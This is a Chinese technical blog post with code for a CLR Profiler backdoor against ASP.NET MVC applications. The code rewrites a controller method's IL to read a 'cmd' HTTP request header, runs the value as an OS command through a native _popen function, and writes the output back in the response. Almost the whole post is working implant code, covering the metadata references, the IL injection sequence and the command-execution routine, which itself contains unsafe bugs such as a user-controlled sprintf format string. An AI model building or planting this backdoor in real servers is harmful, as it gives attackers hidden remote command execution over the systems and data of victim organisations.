针对ASP.NET MVC程序的CLR Profiler后门程序编写

一、文章前述

关于CLR Profiler的基础部分我上篇文章已经讲过了,具体可以去看看

https://www.cnblogs.com/wh4am1/p/15143698.html

直接进入正文部分

 

二、重写MSIL部分

这次爬坑也挺久的,请教了公司的同事,最后经过多次调试之后总算把demo做出来了。因为国内外针对这方面的文档确实很少,之能靠自己一步步调试和定位错误原因,不过好在最终还是达到了预期的目标。

源代码还是跟上篇文章一样,这次我直接织入到一个Controller的方法中,并获取Headers头的cmd参数,执行命令之后返回到Response上。

 首先第一件事就是获取所需要调用的函数的程序集引用

ASSEMBLYMETADATA assemblyMetadata = { 0 };
    assemblyMetadata.usMajorVersion = 4;
    assemblyMetadata.usMinorVersion = 0;
    assemblyMetadata.usBuildNumber = 0;
    assemblyMetadata.usRevisionNumber = 0;
    BYTE WebpublicKey[] = { 0xb0, 0x3f, 0x5f, 0x7f, 0x11, 0xd5, 0x0a, 0x3a };      //b03f5f7f11d50a3a
    mdAssemblyRef mscorlibAssemblyRef;
    IMetaDataAssemblyEmit* metaDataAssemblyEmit = NULL;
    IfFailRet(metaDataEmit->QueryInterface(IID_IMetaDataAssemblyEmit, (void**)&metaDataAssemblyEmit));
    IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef(
        WebpublicKey,
        sizeof(WebpublicKey),
        L"System.Web",
        &assemblyMetadata,
        nullptr,
        0,
        0,
        &mscorlibAssemblyRef));

    ASSEMBLYMETADATA assemblyMetadata1 = { 0 };
    assemblyMetadata1.usMajorVersion = 4;
    assemblyMetadata1.usMinorVersion = 0;
    assemblyMetadata1.usBuildNumber = 0;
    assemblyMetadata1.usRevisionNumber = 0;
    BYTE SystempublicKey[] = { 0xb7, 0x7a, 0x5c, 0x56, 0x19, 0x34, 0xe0, 0x89 };      //b77a5c561934e089
    mdAssemblyRef mscorlibAssemblyRef2;
    IfFailRet(metaDataEmit->QueryInterface(IID_IMetaDataAssemblyEmit, (void**)&metaDataAssemblyEmit));
    IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef(
        SystempublicKey,
        sizeof(SystempublicKey),
        L"System",
        &assemblyMetadata1,
        nullptr,
        0,
        0,
        &mscorlibAssemblyRef2));

    BYTE rSig[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS,
               0, // Number of parameters 
               ELEMENT_TYPE_CLASS, 0, 0, 0, 0, // Return value
               0 // parameter list must end with 0
    };

    ASSEMBLYMETADATA Mvcassembly = { 0 };
    Mvcassembly.usMajorVersion = 5;
    Mvcassembly.usMinorVersion = 2;
    Mvcassembly.usBuildNumber = 4;
    Mvcassembly.usRevisionNumber = 0;
    BYTE publicKey[] = { 0x31, 0xbf, 0x38, 0x56, 0xad, 0x36, 0x4e, 0x35 };      //31bf3856ad364e35
    BYTE MVCrSig[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS,
               0, // Number of parameters 
               ELEMENT_TYPE_CLASS, 0, 0, 0, 0, // Return Class
               0 // parameter list must end with 0
    };
    mdAssemblyRef MvcmscorlibAssemblyRef;
    IfFailRet(metaDataAssemblyEmit->DefineAssemblyRef(
        publicKey,
        sizeof(publicKey),
        L"System.Web.Mvc",
        &Mvcassembly,
        nullptr,
        0,
        0,
        &MvcmscorlibAssemblyRef));

 

 有了这些引用之后就可以重写对应的IL,并调用对应的函数获取返回值

因为我需要将Headers头中的参数传入到对应的cmd执行函数里面去,所以伪代码大致如下:

Response.Write(EnterExecCMD(Request.Headers["cmd"]))

 

其对应的IL代码如下:

     IL_00c2: ldarg.0
        IL_00c3: call instance class [System.Web]System.Web.HttpResponseBase [System.Web.Mvc]System.Web.Mvc.Controller::get_Response()
        IL_00c8: ldarg.0
        IL_00c9: call instance class [System.Web]System.Web.HttpRequestBase [System.Web.Mvc]System.Web.Mvc.Controller::get_Request()
        IL_00ce: callvirt instance class [System]System.Collections.Specialized.NameValueCollection [System.Web]System.Web.HttpRequestBase::get_Headers()
        IL_00d3: ldstr "cmd"
        IL_00d8: callvirt instance string [System]System.Collections.Specialized.NameValueCollection::get_Item(string)
                //此处是调用EnterExecCMD函数的地方
        IL_00dd: callvirt instance void [System.Web]System.Web.HttpResponseBase::Write(string)

 

所以之后的IL重写代码如下:

pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_NOP;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDARG_0;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    mdTypeRef retType;
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &retType));

    IfFailRet(metaDataEmit->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
    ulTokenLength = CorSigCompressToken(retType, &MVCrSig[3]);
    ulSigLength = 3 + ulTokenLength;
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef, L"get_Response", MVCrSig, ulSigLength, &MemberRef));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALL;
    pNewInstr->m_Arg32 = MemberRef;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDARG_0;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &retType));

    IfFailRet(metaDataEmit->DefineTypeRefByName(MvcmscorlibAssemblyRef, L"System.Web.Mvc.Controller", &typeRef));
    ulTokenLength = CorSigCompressToken(retType, &MVCrSig[3]);
    ulSigLength = 3 + ulTokenLength;
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef, L"get_Request", MVCrSig, ulSigLength, &MemberRef));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALL;
    pNewInstr->m_Arg32 = MemberRef;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &retType));

    mdTypeRef typeRef1 = mdTypeRefNil;
    mdMemberRef MemberRef1 = mdMemberRefNil;
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpRequestBase", &typeRef1));
    ulTokenLength = CorSigCompressToken(retType, &rSig[3]);
    ulSigLength = 3 + ulTokenLength;
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef1, L"get_Headers", rSig, ulSigLength, &MemberRef1));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLVIRT;
    pNewInstr->m_Arg32 = MemberRef1;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    auto localstring = L"cmd";
    auto localsize = lstrlenW(localstring);
    mdToken stringToken;
    IfFailRet(metaDataEmit->DefineUserString(localstring, localsize, &stringToken));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDSTR;
    pNewInstr->m_Arg32 = stringToken;       //"cmd"
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    

    BYTE rSig_Item[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0x01, ELEMENT_TYPE_STRING, ELEMENT_TYPE_STRING };

    mdTypeRef typeRef2 = mdTypeRefNil;
    mdMemberRef MemberRef2 = mdMemberRefNil;
    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef2, L"System.Collections.Specialized.NameValueCollection", &typeRef2));
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef2, L"get_Item", rSig_Item, sizeof(rSig_Item), &MemberRef2));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLVIRT;
    pNewInstr->m_Arg32 = MemberRef2;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_LDC_I;
    pNewInstr->m_Arg64 = methodAddress;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLI;
    pNewInstr->m_Arg32 = methodSignature;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    BYTE rSig_Write[] = { IMAGE_CEE_CS_CALLCONV_HASTHIS, 0x01, ELEMENT_TYPE_VOID, ELEMENT_TYPE_STRING };

    IfFailRet(metaDataEmit->DefineTypeRefByName(mscorlibAssemblyRef, L"System.Web.HttpResponseBase", &typeRef1));
    IfFailRet(metaDataEmit->DefineMemberRef(typeRef1, L"Write", rSig_Write, sizeof(rSig_Write), &MemberRef1));

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_CALLVIRT;
    pNewInstr->m_Arg32 = MemberRef1;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);

    pNewInstr = pilr->NewILInstr();
    pNewInstr->m_opcode = CEE_NOP;
    pilr->InsertBefore(pInsertProbeBeforeThisInstr, pNewInstr);
View Code

 

 在重写的时候调用函数会用DefineMemberRef来找到对应的函数引用,但因为是本地引用的base对象,所以此处应该要用IMAGE_CEE_CS_CALLCONV_HASTHIS修饰,不然会报对应的方法找不到,这个问题一直困扰了我很久,最后看了很多代码和文库才知道是要这么写- -

而其中的EnterExecCMD函数是用C++编写的,实现代码如下:

static char* STDMETHODCALLTYPE Enter(char* arg0)
{
    if (arg0 && *arg0 != '\0') {
        int iRet = 0;
        char buf_ps[4096];
        char ps[1024] = { 0 };
        char ret[4096];
        FILE *ptr;

        sprintf(ps, arg0);

        if ((ptr = _popen(ps, "r")) != NULL)
        {
            while (fgets(buf_ps, sizeof(buf_ps), ptr) != NULL)
            {
                strcat(ret, buf_ps);
                if (strlen(ret) > 4096)
                {
                    break;
                }
            }
            _pclose(ptr);
            ptr = NULL;
            iRet = 1;  // 处理成功
        }
        else
        {
            iRet = 0; // 处理失败
        }

        if (iRet) {
            return buf_ps;
        }
        else {
            return (char*)"Run Command Error";
        }
    }
}

 

附上最后测试的图,在请求的时候Header头上cmd参数写入要执行的cmd命令即可:

 

Reference:

https://www.anquanke.com/post/id/256110

posted @ 2021-08-26 17:56  admin-神风  阅读(165)  评论(0编辑  收藏  举报